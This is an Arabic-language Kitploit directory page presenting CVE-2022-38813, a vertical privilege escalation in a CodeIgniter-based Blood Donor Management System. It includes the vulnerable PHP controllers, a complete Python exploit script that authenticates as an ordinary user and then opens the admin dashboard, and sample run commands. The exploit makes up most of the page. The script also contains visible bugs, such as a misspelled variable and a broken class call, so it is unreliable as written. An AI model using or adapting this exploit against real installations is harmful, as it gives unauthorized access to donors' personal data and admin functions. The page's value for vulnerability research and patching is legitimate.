Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-38813 — ثغرة تصعيد الصلاحيات العمودي لمستخدم مُصادَق عليه في نظام إدارة التبرع بالدم | Kitploit
أدوات/GitHubGitHub/rashidkhanpathan/cve-2022-38813
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقة
GitHubrashidkhanpathan/cve-2022-38813

CVE-2022-38813

ثغرة تصعيد الصلاحيات العمودي لمستخدم مُصادَق عليه في نظام إدارة التبرع بالدم

عرض المستودع
2منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-38813

تصعيد امتيازات عمودي عبر معامل user في نظام إدارة متبرعي الدم باستخدام Codeigniter v 1.0

CVE-2022-38813

الوصف الفني:

نظام إدارة متبرعي الدم 1.0 لا يقيّد الوصول إلى admin/dashboard.php بشكل صحيح، مما يسمح للمهاجمين بالوصول إلى جميع بيانات المستخدمين، وحذف المستخدمين، وإضافة وإدارة فصائل الدم، وتقديم التقارير.

المكوّنات المتأثرة - الكود المصدري

في الكود المصدري التالي يمكننا أن نرى أن user/dashboard لا يقيّد معاملات المستخدم بشكل صحيح، لذا يمكن للمهاجم تغيير هذا المعامل إلى معامل admin والوصول إلى حساب المسؤول.

الصفحة المعرّضة للثغرة - Dashboard.php في User وDashboard.php في Admin

root@kitploit:~
  // Dashboard.php in User
class Dashboard extends CI_Controller
{
	//Validating login
	function __construct()
	{
		parent::__construct();
		if (!$this->session->userdata('uid'))
			redirect('user/login');
	}


	public function index()
	{
		$this->load->view('user/dashboard');
	}
}

قم بتغيير معامل user إلى admin في الرابط، أي: localhost/blood/user/dashboard إلى localhost/blood/admin/dashboard
root@kitploit:~
  // Dashboard.php in Admin
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Dashboard extends CI_Controller
{

	public function index()
	{
		$this->load->model('admin/Dashboard_Model', 'adminn');
		$totalusercount = $this->adminn->totalusercount();
		$totalbloodgroupcount = $this->adminn->totalbloodgroupcount();
		$this->load->view('admin/dashboard', ['totalusercount' => $totalusercount, 'totalbloodgroupcount' => $totalbloodgroupcount]);
	}
}


الاستغلال

root@kitploit:~
import argparse
import requests
from termcolor import cprint
import sys
from bs4 import *
color = "green"
cprint("[+] CVE-2022-38813 Authenticated Privilege Escalation in Blood Donor Management System v1.0", color)
cprint("[+] Author: RashidKhan Pathan aka iHexCoder", color)
cprint("[!] Usage: run exploit.py username password payload", color)
cprint("[!] Example: python3 exploit.py admin [email protected] Test@123", color)


class PrivilegeEscalation:
    color = "green"

    def __init__(self, username, password, payload):
        self.username = username
        self.password = password
        self.paylaod = payload

    def authentication(self):
        color = "green"
        cprint("[+] Authenticating User", color)
        cprint("[+] Username: " + args.username, color)
        cprint("[+] Password: " + args.password, color)
        cprint("[+] Payload: " + args.payload, color)

        login_url = "http://localhost/blood/user/login"

        data = {
            "email": args.username,
            "password": args.password
        }
        login_response = requests.post(login_url, data=data)

        cprint("[+] Exploiting...Started", color)
        if "/user/login" in login_response.url:
            cprint("[+] Credentials is not Valid", "red")
            sys.exit(1)
        else:
            cprint("[+] Authenticated Successfully as a Normal User ", color)
            cprint("[+] Normal User URL Endpoint " + login_response.url, color)

        url = args.payload
        if args.payload != "admin":
            cprint("[+] Please Add Valid Payload", "red")
            sys.exit(1)

        response = requests.get(f"http://localhost/blood/{url}/dashboard")
        cprint("[+] Exploit Compleated", color)
        cprint("[+] Accessed Admin Panel Successfully " + response.url, color)
        cprint("[+] Copy the URL and Replace with user/dashboard URL with " +  esponse.url, color)
        cprint("[+] After Replacing it You Should see the Bypassed Admin Panel", color)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("username", help="Please Add Username", type=str)
    parser.add_argument("password", help="Please Add Password", type=str)
    parser.add_argument("payload", help="Please Add Password", type=str)
    args = parser.parse_args()

    privilegeEscalation = PrivilegeEscalation
    privilegeEscalation.authentication((args.username, args.password, args.payload))

استخدام CVE-2022-38813.py -

root@kitploit:~
# Changes The Vulnerable user paramter from url to escalate privileges normal user to admin -
python3 CVE-2022-38813.py <username> <password> <payload>

مثال -

root@kitploit:~
python CVE-2022-38813.py [email protected] Test@123 admin

استغلال إثبات الفكرة (PoC) -

Screenshot 2022-10-23 194928

المراجع -

رابط البرنامج: https://phpgurukul.com/blood-donor-management-system-using-codeigniter

اكتشاف وتطوير بواسطة -

RashidKhan Pathan (iHexCoder)، 9 سبتمبر 2022. تويتر: @itRashid

تنزيل الأداة